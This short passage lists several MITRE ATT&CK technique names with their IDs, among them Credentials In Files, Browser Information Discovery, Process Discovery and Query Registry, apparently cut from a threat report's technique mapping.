
Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery